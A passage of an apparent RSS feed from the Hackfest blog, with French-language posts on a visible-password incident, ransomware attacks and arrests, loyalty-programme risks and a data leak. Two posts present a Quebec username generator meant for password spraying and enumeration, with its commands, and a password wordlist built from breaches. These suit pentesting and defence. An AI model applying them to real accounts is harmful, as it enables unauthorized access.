      <description>Récemment, une source anonyme a fait parvenir une photo au Hackfest. Cette personne est allée dans un CLSC de la région de Québec. À l’accueil se trouvait un ordinateur. Sur celui-ci, on voyait les mots de passe clairement affichés. Vraiment bien visible. Cela n’avait pas été gribouillé sur un post-it. Non. On s’était forcé pour faire du beau travail.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" alt="Mots de passe visibles" /></p>

<p>Avant de défroquer, j’étais médecin de famille dans un CLSC du centre-ville de Montréal. Tous les mois, le système me demandait de changer de mot de passe. Ce message était habituellement précédé de plusieurs autres messages m’avisant que le mot de passe allait devoir être changé dans x jours.</p>

<p>J’avais pris l’habitude d’ignorer ceux-ci.</p>

<p>C’est une loi de la nature, que le message final, comme la mise à jour de Windows, arrive tout le temps au pire moment.</p>

<p>Cela arrivait habituellement lorsque j’étais occupé et fatigué. Je venais possiblement de passer 24 heures à la salle d’accouchement de l’hôpital à attraper des bébés et j’avais 14 messages téléphoniques à retourner, quatre fax à envoyer, des rapports illisibles à déchiffrer et des gens qui m’attendaient dans la salle d’attente.</p>

<p>En arrivant au CLSC, l’administrateur du système m’avait donné un mot de passe « temporaire ». Je l’ai conservé, à toute fin pratique, pendant 5 ans.</p>

<p>C’était quelque chose comme « samhar01 ».</p>

<p>Il y avait une règle qui empêchait la réutilisation des derniers mots de passe. Mais j’ai rapidement réalisé qu’une fois rendu à samhar09, je pouvais recommencer à 01. C’était bien pratique.</p>

<p>Le problème c’est que je n’avais jamais considéré le risque que cela posait et personne ne m’en a parlé.</p>

<p>Récemment, une source anonyme a fait parvenir une photo au Hackfest. Cette personne est allée dans un CLSC de la région de Québec. À l’accueil se trouvait un ordinateur. Sur celui-ci, on voyait les mots de passe clairement affichés. Vraiment bien visible. Cela n’avait pas été gribouillé sur un post-it. Non. On s’était forcé pour faire du beau travail.</p>

<p>J’ai contacté le CISSS (Centre Intégré de Santé et de Services sociaux). Madame Maryse Rodrigue, du service des communications, a répondu que le CISSS « [ fait ] régulièrement des rappels aux employés à propos de la confidentialité des codes d’accès et mots de passe et qu’il existe une politique à ce propos. »</p>

<p>La porte-parole m’a également assuré qu’un suivi serait fait « pour rectifier la situation ».</p>

<p>L’objectif ici n’est pas de jeter la pierre à l’employé ou l’employée qui a collé son mot de passe sur l’ordinateur. C’est un comportement risqué. Malheureusement, l’expérience montre que plus certaines règles et pratiques deviennent contraignantes et plus les gens trouvent des façons de les contourner. De plus, la formation sur le « pourquoi » ce comportement est risqué fait souvent défaut.</p>

<p>J’ai demandé à Vincent Tremblay, un spécialiste en cybersécurité et membre organisateur du Hackfest, si les organisations devaient obliger leurs employés à changer souvent de mots de passe. Il m’a répondu que « les politiques de mots de passe sont un couteau à double tranchant. Trop compliqué ? Le monde va tout faire pour bypasser ça ou s’en balancer et on est de retour à la case zéro. Trop simple, mais on doit changer trop souvent ? On devra s’attendre à ce que le ticket #1 soit “J’ai oublié mon mot de passe et ça ne me laisse pas le changer”. »</p>

<p>Alors, qu’est-ce qu’on fait ?</p>

<p>La solution passe par la sensibilisation et l’éducation. L’authentification n’est pas là pour nous faire suer, mais pour protéger des données hautement sensibles et confidentielles. Comprendre le « pourquoi » est primordial. Car oui, si l’on n’en comprend pas l’importance, la sécurité est souvent perçue comme un obstacle.</p>

<p>En attendant le « passwordless authentication », on peut laisser tomber certaines pratiques désuètes et utiliser des phrases de passe en assouplissant les règles de complexité et de rotation rapide des mots de passe.</p>

<p>On doit surtout créer un environnement ou les employés et employées ont le temps nécessaire à consacrer aux bonnes pratiques en sécurité de l’information.</p>

<p>On peut aussi arrêter d’utiliser le fax, mais ça, c’est un sujet pour un autre jour.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Lareau courtiers d&apos;assurances victimes d&apos;un rançongiciel</title>
      <link>https://media.hackfest.ca/blog/courtiers-assurances-victime-dune-breche</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/courtiers-assurances-victime-dune-breche</guid>
      <pubDate>Fri, 06 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Conti</category>
      <category>assurances</category>
      <description>Le lendemain de la fête nationale du Québec, un groupe criminel a revendiqué une attaque contre Lareau courtiers d’assurances. Des experts en sécurité s’inquiètent que cette attaque pourrait servir à cibler d’autres entreprises québécoises.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lareau-rancon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lareau-rancon.webp" alt="lareau" /></p>

<p>Le lendemain de la fête nationale du Québec, un groupe criminel a revendiqué une attaque contre Lareau courtiers d’assurances. Des experts en sécurité s’inquiètent que cette attaque pourrait servir à cibler d’autres entreprises québécoises.</p>

<p>Le 25 juin dernier, le groupe de rançongiciel Conti a publicisé des attaques contre plusieurs nouvelles victimes. Parmi celles-ci se trouvait l’entreprise dont le siège social est basé à Napierville.</p>

<p>Les malfrats ont publié une liste d’appareils appartenant à la compagnie ainsi qu’une liste de mots de passe chiffrés. Il s’agit du chiffrement standard utilisé par le système d’exploitation Windows. Selon notre analyse, certains de ceux-ci étaient assez faciles à déchiffrer. Pour l’instant, aucune donnée personnelle n’a été diffusée sur le site Web du groupe de rançonneurs.</p>

<p>Une fois qu’ils ont accès à un réseau, ces groupes déploient habituellement un rançongiciel. Il s’agit d’un programme qui chiffre les données et les rend inutilisables. Il faut disposer d’une clé pour les récupérer. Afin d’augmenter la pression sur leurs victimes, ils menacent habituellement de diffuser publiquement les informations qu’ils ont volées.</p>

<p>Lareau est présent dans 8 succursales au Québec et compte une équipe de plus de 180 professionnels. Selon son site Web, l’entreprise Lareau offre une protection contre les cyber-risques.</p>

<p>Cibler une compagnie offrant ce type de couverture est « la recette parfaite » selon Steve Waterhouse, ancien officier de cyberdéfense dans les Forces armées canadiennes. Selon l’expert en sécurité, cette attaque a le potentiel d’aider les pirates à cibler leurs prochaines victimes. Cela permet de moduler leurs demandes de rançon en fonction de la capacité de payer de celles-ci. « C’est brillant. Cela leur permet de faire des affaires en or », ajoute-t-il.</p>

<p>La compagnie Lareau n’a pas répondu à nos demandes d’information. Pour M. Waterhouse, les entreprises sont très réticentes à parler de ces incidents, car ils craignent pour leur réputation. « La gestion de la sécurité par l’obscurité ne devrait plus avoir sa place » se désole-t-il.</p>

<p>Crédit photo: <a href="https://www.flickr.com/photos/bg_dn/">begemot_dn</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">licence CC BY-NC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Attaque informatique contre le Groupe Filgo-Sonic</title>
      <link>https://media.hackfest.ca/blog/breche-filgo-sonic</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/breche-filgo-sonic</guid>
      <pubDate>Mon, 12 Jul 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Vice Society</category>
      <category>énergie</category>
      <description>Un nouveau groupe de rançongiciel s’en est pris à l’entreprise de distribution de produits pétroliers Filgo-Sonic. L’entreprise a fermé certains systèmes informatiques, mais la livraison aux clients a été maintenue.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/Vice_filgo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/Vice_filgo.webp" alt="filgo" /></p>

<p>Un groupe de rançongiciel s’en est pris à l’entreprise de distribution de produits pétroliers Filgo-Sonic. L’entreprise a fermé certains systèmes informatiques, mais la livraison aux clients a été maintenue.</p>

<p>Mme Véronique Simard, porte-parole de l’organisation, a répondu que l’entreprise « confirme avoir vécu dans les dernières semaines un arrêt de ses systèmes informatiques qui a eu un impact sur certaines opérations. Pendant que le Groupe travaille à la reprise des opérations normales, le service aux clients se poursuit sans interruption. »</p>

<p>L’entreprise n’a pas donné de détails sur les services affectés, mais précise qu’il « s’agit surtout de services centraux comme la facturation ». L’arrêt de ces systèmes « a été rendu nécessaire comme mesure de protection et de remédiation à une cyberattaque perpétrée par un attaquant externe à l’organisation » explique Mme Simard. L’enquête étant toujours en cours, l’entreprise ne peut donner plus de précisions, mais assure que les systèmes sont en cours de rétablissement.</p>

<p>Les malfaiteurs ont publié des documents qu’ils revendiquent avoir volés à la compagnie. Ces documents sont datés du 3 et du 27 juin. La porte-parole dit « être au courant que les attaquants ont procédé à une publication de fichiers. Notre équipe TI ainsi que nos experts en cybersécurité ont récupéré ces fichiers et procédé à leur analyse. » Ils sont actuellement en processus de notification des personnes touchées par cet incident de sécurité.</p>

<p>Le Groupe Filgo-Sonic est une entreprise québécoise dont le siège social se trouve à Sainte-Marie, en Beauce. Il possède les bannières d’essence Miraco et Sonic. Selon son site web, le Groupe est « présent dans les principales régions du Québec ». Il œuvre dans les secteurs de la distribution de produits pétroliers à une clientèle résidentielle et commerciale, il maintient un réseau de station-service et de dépanneurs ainsi que la distribution des Lubrifiants Shell.</p>

<p>« Vice Society », le groupe qui a revendiqué cette attaque est apparu sur la scène des rançongiciels en juin 2021. Malgré le fait qu’il soit nouveau, il a été l’un des groupes les plus actifs au mois de juin. Ce groupe de malfaiteurs a annoncé une dizaine de brèches de sécurité lors de son premier mois d’opération. On compte des écoles et des hôpitaux parmi les organisations affichées sur son site.</p>

<p>Le logiciel servant à chiffrer les fichiers serait une variante du rançongiciel « HelloKitty » <a href="https://twitter.com/demonslay335/status/1403109032014061568">selon Michael Gillespie</a>, un chercheur spécialisé en maliciel. Le groupe « HelloKitty » a fait les manchettes récemment, car <a href="https://blog.emsisoft.com/en/37783/hellokitty-ransomware-group-likely-responsible-for-cd-projekt-attack-heres-why/">on lui avait attribué</a> l’attaque contre la compagnie de jeux « CD Projekt », créateur du titre « Cyberpunk 2077 ».</p>
]]></content:encoded>
    </item>
    <item>
      <title>Arrestation d&apos;individus liés au groupe Cl0p</title>
      <link>https://media.hackfest.ca/blog/arrestations-groupe-clop</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/arrestations-groupe-clop</guid>
      <pubDate>Wed, 16 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Cl0p</category>
      <category>arrestations</category>
      <category>Interpol</category>
      <description>Ce matin, la police ukrainienne a procédé à l’arrestation de six individus liés au groupe de rançongiciel Cl0p. Les autorités ont annoncé avoir effectué 21 perquisitions, dans des résidences et des voitures appartenant aux suspects, dans la région de Kiev. De l’équipement informatique, des voitures et près de 5 millions d’hryvnias (environ 225 000 $ CA) ont été saisis.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/arrestationClop.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/arrestationClop.webp" alt="arrestation" /></p>

<p>Ce matin, la police ukrainienne a procédé à l’arrestation de six individus liés au groupe de rançongiciel Cl0p. Les autorités ukrainiennes ont diffusé <a href="https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/">un communiqué</a> ce mercredi 16 juin pour annoncer l’opération. Celle-ci a été coordonnée par Interpol et menée en collaboration avec des agents provenant des États-Unis et de la Corée du Sud.</p>

<p>Les autorités ont annoncé avoir effectué 21 perquisitions, dans des résidences et des voitures appartenant aux suspects, dans la région de Kiev. De l’équipement informatique, des voitures et près de 5 millions d’hryvnias (environ 225 000 $ CA) ont été saisis.</p>

<p>À l’heure actuelle, nous ne savons pas s’il s’agit de membre clé du groupe Cl0p ou d’affiliés. Rappelons que les organisations comme Cl0p, qui offrent un service de rançongiciel, recrutent des affiliés. Ce sont ces derniers qui infiltrent les réseaux informatiques vulnérables et déploient le logiciel malveillant fourni par le groupe.</p>

<p>Les groupes comme Cl0p offrent le logiciel qui permet de chiffrer les données de la victime, le site web servant à publier les documents volés et une plateforme pour négocier la rançon. Les profits sont ensuite partagés entre les affiliés et le fournisseur de service.</p>

<p>Ce matin, le site de diffusion de matériel volé du groupe, hébergé sur le réseau Tor, était toujours accessible.</p>

<p>Rappelons que le groupe Cl0p était celui derrière les récentes attaques contre Bombardier, ainsi que <a href="https://media.hackfest.ca/blog/Durham-breach">contre la Municipalité Régionale de Durham</a> en Ontario et <a href="https://media.hackfest.ca/blog/Groupe-Boutin-Cyberattaque">la compagnie de transport Boutin</a> ici au Québec. Il est trop tôt pour savoir si les personnes arrêtées aujourd’hui sont responsables de ces attaques, ou s’il s’agit d’un autre groupe d’affiliés.</p>

<p><em>Cet article a été corrigé le 18/06 pour rectifier le montant saisi en dollars CA.</em></p>

]]></content:encoded>
    </item>
    <item>
      <title>Programmes de fidélisation: des cadeaux... et des risques</title>
      <link>https://media.hackfest.ca/blog/risques-programmes-fidelisation</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/risques-programmes-fidelisation</guid>
      <pubDate>Mon, 14 Jun 2021 15:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Fuites &amp; vie privée</category>
      <category>vie privée</category>
      <category>ESET</category>
      <category>entrevue</category>
      <description>Une chronique sur le coût des programmes de fidélisation a fait réagir des membres de la communauté du Hackfest. Dans cette entrevue avec Alexis Dorais-Joncas, directeur du centre de R&amp;amp;D chez ESET Montréal, nous abordons certains risques potentiels de ces programmes.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/fidelisation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/fidelisation.webp" alt="ventilation" /></p>

<p>La banalisation des risques <a href="https://www.lapresse.ca/affaires/chroniques/2021-05-30/combien-vous-coutent-les-programmes-de-fidelisation.php">dans une chronique</a> sur le coût des programmes de fidélisation publiée dans La Presse a fait réagir des membres de la communauté de cybersécurité. « J’ai trouvé que c’était un super bon article, jusqu’à ce que j’arrive à cette section-là », affirme en entrevue Alexis Dorais-Joncas, directeur du centre de R &amp; D de ESET Montréal. « J’ai appris plein de choses », ajoute-t-il. Par contre, il trouve dommage qu’on n’ait pas profité de cette occasion pour rappeler aux consommateurs que si « vous acceptez de confier vos données personnelles, faites-le en toute connaissance de cause ».</p>

<p>Pour ce responsable d’une équipe de chercheurs en cybersécurité, il est faux de dire que le risque est le même parce que ces données sont déjà détenues par une autre entité, comme la banque. « Les risques s’additionnent », explique-t-il, « plus nos données personnelles sont possédées par un grand nombre de partis, plus les chances sont grandes que l’une d’entre elles soit l’objet d’une fuite ».</p>

<h3 id="il-ny-a-pas-que-les-données-qui-sont-à-risque">Il n’y a pas que les données qui sont à risque</h3>

<p>Comme ces programmes offrent des récompenses, M. Dorais-Joncas ajoute que le vol de ceux-ci n’a pas seulement un impact sur la perte de données, mais peut impliquer une perte monétaire. La perte associée avec le vol d’un compte peut sembler minime pour un utilisateur, mais si un fraudeur met la main sur un grand nombre de ceux-ci, cela représente des sommes beaucoup plus importantes.</p>

<p>Le troisième impact noté vient du fait que certains programmes de fidélisation sont associés avec un mode de paiement. M. Dorais-Joncas a d’ailleurs investigué un cas de fraude utilisant l’application mobile de McDonald en 2019. <a href="https://mobilesyrup.com/2019/04/23/mcdonalds-mobile-app-defrauded-2000-dollars/">Un journaliste avait rapporté avoir été fraudé de 2000 $</a> lorsque quelqu’un s’était approprié son compte de fidélisation. Selon le spécialiste en cybersécurité, « la sécurité était complètement déficiente. [ … ] On pouvait tester des milliers de combinaisons de nom d’utilisateur et mot de passe en quelques minutes. » De plus, une fois qu’un compte valide était volé, l’application n’avait aucune mesure antifraude et plusieurs transactions avaient été enregistrées au même moment à plusieurs endroits dans la province sans que cela soit rapporté.</p>

<h3 id="sabonner-oui-ou-non">S’abonner, oui ou non ?</h3>

<p>Pour Alexis Dorais-Joncas, il faut se demander si l’on retire un réel bénéfice du programme. Il suggère de se poser la question « est-ce que je suis prêt à confier mes données personnelles à cette entreprise en échange de ce qu’elle m’offre ? »
Deuxièment, il suggère de lire les politiques d’utilisation et de protection de la vie privée. Il admet que ce n’est pas toujours évident, car ces politiques ne sont pas faciles à comprendre, mais « cela en dit long sur l’utilisation qui va être faite de nos données ».</p>

<p>Idéalement, on devrait minimiser la portée et le nombre de programmes auxquels on adhère. Il est donc préférable de ne s’abonner qu’aux programmes qui nous intéressent réellement.</p>

<p>Une fois que l’on décide de s’inscrire à un programme de fidélisation, il suggère de ne jamais réutiliser de mot de passe. « On a tendance à croire que l’on n’a pas besoin d’autant de sécurité que pour notre compte de banque », mais une fois qu’on a pris l’habitude d’utiliser un gestionnaire de mot de passe, « ce n’est pas plus forçant de créer un bon mot de passe unique pour tous ses comptes. »</p>

<p>Les programmes de fidélité offrent des avantages, mais ils ne sont pas sans risque. Il est donc important que la décision de confier ses données personnelles ne soit pas prise à la légère.</p>

<p>Le projet de Loi 64 doit venir encadrer la collecte, la protection et l’utilisation de ces données personnelles. L’adoption de celui-ci a pris du retard avec l’annonce récente par le gouvernement de suspendre son étude.</p>

<p>crédit photo: <a href="https://www.flickr.com/photos/fourbrickstall/">Four Bricks Tall</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">licence CC BY-NC-ND</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Présentation d&apos;un projet de génération de liste de nom d&apos;utilisateurs québécois</title>
      <link>https://media.hackfest.ca/blog/projet-usernames-quebecois</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/projet-usernames-quebecois</guid>
      <pubDate>Fri, 04 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>redshell</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Outils &amp; projets</category>
      <category>wordlist</category>
      <category>noms d&apos;utilisateurs</category>
      <category>OSINT</category>
      <description>J’ai toujours trouvé lors de différents tests d’intrusions qu’il manquait l’équivalent d’une liste d’utilisateurs possibles en français. Suivant le dernier blog post du Hackfest publiant une wordlist adaptée au Québec, j’ai décidé de publier mon propre script qui permet de générer des noms d’utilisateurs communs adaptés pour le Québec.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/usernames.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/usernames.webp" alt="passwords" /></p>

<h2 id="quoi">Quoi</h2>

<p>J’ai toujours trouvé lors de différents tests d’intrusions qu’il manquait l’équivalent d’une liste d’utilisateurs possibles en français. Suivant le dernier <a href="https://media.hackfest.ca/blog/projet-wordlist-passwords-quebecois">blog post du Hackfest</a> publiant une wordlist adaptée au Québec, j’ai décidé de publier mon propre script qui permet de générer des noms d’utilisateurs communs adaptés pour le Québec.</p>

<p>Également, beaucoup de mots de passe sont encore basés sur les noms et prénoms (des enfants, parents, femme, etc). Ce sont généralement des noms français qui ne font pas (ou peu) partie des wordlists standards. En utilisant des sites qui publient l’information sur les noms les plus populaires tels que <a href="https://prenomsquebec.ca">prenomsquebec.ca</a> et un article Wikipedia, il est possible de créer plusieurs combinaisons.</p>

<p>Je présente donc le dépôt Github <a href="https://github.com/r3dshell/QC_Username_Generator"><strong>QC_Username_Generator</strong></a>.</p>

<h2 id="fonctions">Fonctions</h2>

<ul>
  <li>Générer des noms d’utilisateurs populaires, provenant de noms Québecois</li>
  <li>Pouvoir adapter le format des noms en fonction du test ou de l’application</li>
  <li>Avoir la possibilité d’ajouter un nom de domaine dans le cas ou le nom d’utilisateur nécessite un courriel</li>
  <li>Générer des mots de passe qui sont souvent utilisés (combinaisons de noms et années)</li>
</ul>

<p>Ce script permet de générer plusieurs variations de nom d’utilisateurs basé sur les noms de famille (top 1000) et les prénoms les plus populaires du Québec depuis 1980.</p>

<p>Il permet également d’ajouter une variation avec un nom de domaine pour générer des courriels potentiels (ex: jeantremblay@example.com). Les noms d’utilisateurs peuvent ensuite facilement être utilisés dans le cadre de pulvérisation de mot de passe ou d’énumération simplement. De plus, il est possible de générer des mots de passe qui incluent le nom et l’année (ex: Tremblay2020!, jean2021, ..). Désolé si c’est votre mot de passe!</p>

<p>Ils peuvent ensuite être utilisés à eux seuls pour du password cracking, en combinaison avec d’autres listes telles que  <a href="https://github.com/w0lf-d3n/Quebec_Wordlist.">w0lfd3n</a>, ou en ajout à des règles Hashcat.</p>

<h2 id="les-cas-dutilisations">Les cas d’utilisations</h2>

<ul>
  <li>Dans le cadre de pulvérisation de mot de passe</li>
  <li>Afin d’effectuer une énumération d’utilisateurs</li>
  <li>Pour générer une wordlist de mots de passe possibles lors de password cracking</li>
</ul>

<h2 id="exemples-dutilisation">Exemples d’utilisation</h2>

<ul>
  <li>Le script est basé sur Python3 et ne nécessite aucun module externe.</li>
  <li>Les listes de noms sont stockées dans le dossier <em>source</em>.</li>
</ul>

<p>Les différents arguments possibles:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 
</code></pre></div></div>

<p>Pour générer une liste contenant des courriels vers un fichier texte:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -d -o fichier 
</code></pre></div></div>

<p>Pour générer une liste d’utilisateurs vers un fichier texte:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -o fichier 
</code></pre></div></div>

<p>Pour générer une liste de mot de passe potentiel vers un fichier texte:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -w -o fichier 
</code></pre></div></div>

<h2 id="mot-de-la-fin">Mot de la fin</h2>

<p>Comme toujours, il est conseillé d’utiliser un gestionnaire de mots de passe tels que BitWarden ou KeePassXC afin de générer des mots de passe complexes et les stocker de façon sécuritaire.</p>

<p>Vous pouvez me contacter sur le <a href="https://discord.hackfest.ca">Discord du Hackfest</a>: @redshell</p>

<p>Crédit photo: <a href="https://flickr.com/photos/christiaancolen/20971563620/">christiaancolen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Présentation d&apos;un projet de wordlist de mots de passes québécois</title>
      <link>https://media.hackfest.ca/blog/projet-wordlist-passwords-quebecois</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/projet-wordlist-passwords-quebecois</guid>
      <pubDate>Tue, 01 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>POPS5s</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Outils &amp; projets</category>
      <category>wordlist</category>
      <category>mots de passe</category>
      <category>w0lfd3n</category>
      <description>C’est alors que la réalité m’a frappé, les “wordlists” habituelles disponibles sur le net ne contiennent pas ou très peu de vocabulaire français et/ou Québécois, la plupart étant issues de brèches américaines et internationales!</description>
      <enclosure url="https://media.hackfest.ca/images/posts/passwords.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/passwords.webp" alt="passwords" /></p>

<p>Récemment, je testais mes habiletés modestes de “pentest” sur mon réseau WI-FI personnel. Suivant la méthodologie classique, j’ai performé une attaque de désauthentification sur un périphérique relié à mon “access point”, capturé l’échange de clef WPA2, et tenté de “craquer” le mot de passe à l’aide d’une “wordlist”. Pour les besoins de la cause, le mot de passe utilisé était d’une simplicité alarmante. Malgré tout, j’ai été incapable de le découvrir.</p>

<p>C’est alors que la réalité m’a frappé : les “wordlists” habituelles disponibles sur le net ne contiennent pas ou très peu de vocabulaire français et/ou Québécois, la plupart étant issues de brèches américaines et internationales. Au cours de discussions sur certains serveurs Discord (Hackfest), j’ai constaté qu’en effet très peu de références francophones étaient disponibles et qu’il y avait une volonté de créer une telle liste de mots de passe. C’est autour de cette idée que s’est constituée notre groupe, w0lfd3n, une équipe de professionnels et d’enthousiastes pour la plupart québécois. Nous avons saisi l’opportunité de fonder un groupe officiel afin de s’impliquer dans la communauté cybersec. Ce projet a été une sorte de catalyseur au groupe et une motivation supplémentaire afin d’explorer des méthodes et habiletés qui nous étaient pour la plupart encore nouvelles, i.e. GitHub. Nous espérons que le projet contribuera positivement à la communauté cybersec Québécoise.</p>

<p>C’est avec plaisir que nous présentons le dépôt public <a href="https://github.com/w0lf-d3n/Quebec_Wordlist">w0lfd3n’s quebec_wordlist</a>. Cette liste est extraite en grande majorité des mots de passe présents dans plusieurs brèches de données publiques, tous reliés à des domaines québécois (institutions publiques, secteur privé, etc). Elle a plusieurs applications potentielles, i.e. “wordlist” pour John The Ripper et Hashcat ou bien tout simplement liste de mots de passe à éviter. Vous pouvez combiner une bonne discipline de mots de passe avec cette liste afin d’éviter l’utilisation de mots de passe faibles et compromis.</p>

<p>Il est également conseillé d’utiliser un gestionnaire de mots de passe tel que BitWarden ou KeePassXC afin d’éviter de réutiliser le même mot de passe plusieurs fois. Nous planifions d’apporter des modifications et ajouts constants à cette liste, et nous sommes évidemment ouverts à toutes contributions externes qui respectent nos critères.</p>

<p>Vous pouvez nous contacter à <a href="mailto:hello@w0lfd3n.org">hello@w0lfd3n.org</a> .</p>

<p>Crédit photo: <a href="https://flickr.com/photos/worldsdirection/33611388604/">worldsdirection</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Fuite de données sensibles chez Ventilabec</title>
      <link>https://media.hackfest.ca/blog/fuite-de-donnees-ventilabec</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/fuite-de-donnees-ventilabec</guid>
      <pubDate>Tue, 11 May 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Fuites &amp; vie privée</category>
      <category>NAS</category>
      <category>construction</category>
      <description>Il n’est jamais agréable d’apprendre que nos renseignements sensibles ont été publiés sur le Web. En janvier dernier, un groupe criminel a diffusé des documents confidentiels qu’ils disent avoir volés à la compagnie Ventilabec. Pour confirmer l’authenticité de ces renseignements, nous avons contacté des personnes qui ne sont plus à l’emploi de cette entreprise, mais qui figurent malheureusement dans cette fuite de données.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ventilation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ventilation.webp" alt="ventilation" /></p>

<p>Il n’est jamais agréable d’apprendre que nos renseignements sensibles ont été publiés sur le Web. En janvier dernier, un groupe criminel a diffusé des documents confidentiels qu’ils disent avoir volés à la compagnie Ventilabec. Pour confirmer l’authenticité de ces renseignements, nous avons contacté des personnes qui ne sont plus à l’emploi de cette entreprise, mais qui figurent malheureusement dans cette fuite de données.</p>

<p>Le groupe de rançongiciel qui a revendiqué cette cyberattaque a publié 1140 documents. On y retrouve des formulaires d’autorisation d’enquête, des « fiches d’accueil » de chantier avec les allergies et la médication prise et des cartes de compétence émises par la Commission de la construction du Québec. Les cartes qui datent de 2010 et 2011 affichent le numéro d’assurance sociale du travailleur. Selon un compteur affiché sur la page Web, celle-ci a été consultée plus de 25 000 fois.</p>

<p>Sabrina DesOrmiers a travaillé pour Ventilabec jusqu’en 2012. Par la suite, elle a « continué à faire de la consultation pour eux pendant deux ans environ ». Elle confirme avoir signé une autorisation d’enquête des antécédents judiciaires pour un projet au Casino de Montréal. Avant notre appel, personne ne l’avait avisée de cette brèche de données.</p>

<p>Contactée par téléphone, Caroline (nom fictif) confirme qu’elle a également travaillé pour cette compagnie.  Elle n’est plus à l’emploi de cette entreprise depuis plusieurs années. Elle demande de garder l’anonymat.</p>

<p>Nous lui apprenons qu’un formulaire se trouve sur un site Web accessible sur le Web caché. « Personne ne m’a avisée », nous dit-elle. Elle confirme avoir signé cette autorisation. Ce document comporte des renseignements comme sa date de naissance, son numéro d’assurance sociale et son numéro de permis de conduire.</p>

<p>Ventilabec, basée à Laval, est spécialisée en installation et entretien de systèmes de ventilation, réfrigération et chauffage. Selon son site Web, elle a plus de 10 000 projets réalisés à son actif dans les secteurs industriel, commercial, institutionnel et pharmaceutique.</p>

<p>Rejoint au téléphone, le président Éric Ladouceur a préféré ne pas commenter cette affaire.</p>

<h3 id="sécurisé-ou-détruit">Sécurisé ou détruit</h3>

<p>Selon Steve Waterhouse, ancien officier de sécurité à la défense nationale, lorsqu’on archive ce genre de renseignement, il est important de prendre conscience de la sensibilité de celui-ci.</p>

<p>La meilleure pratique pour conserver les données dont on n’a pas activement besoin consiste « à ne jamais mettre cela en ligne ». Il conseille d’entreposer les données sensibles de manière chiffrée. « Il existe plusieurs logiciels et outils pour crypter les fichiers ». Les documents « en repos » devraient être sur un disque dur externe, chiffré, et remisé en lieu sûr.</p>

<p>L’expert en cybersécurité rappelle qu’une entreprise devrait avoir une politique de rétention des données et détruire celles-ci dès qu’elles ne sont plus utiles. Pour les détruire de manière sécuritaire, il recommande de les chiffrer avant de les supprimer. Cela va les rendre plus difficiles à récupérer.</p>

<h3 id="déclaration-non-obligatoire-mais-recommandée">Déclaration non obligatoire, mais recommandée</h3>

<p>La Commission d’accès à l’information du Québec (CAI) confirme que la loi n’oblige pas les entreprises à détruire un renseignement. Son porte-parole nous rappelle que de conserver des documents dont on n’a plus besoin augmente l’impact quand il y a un incident de sécurité.</p>

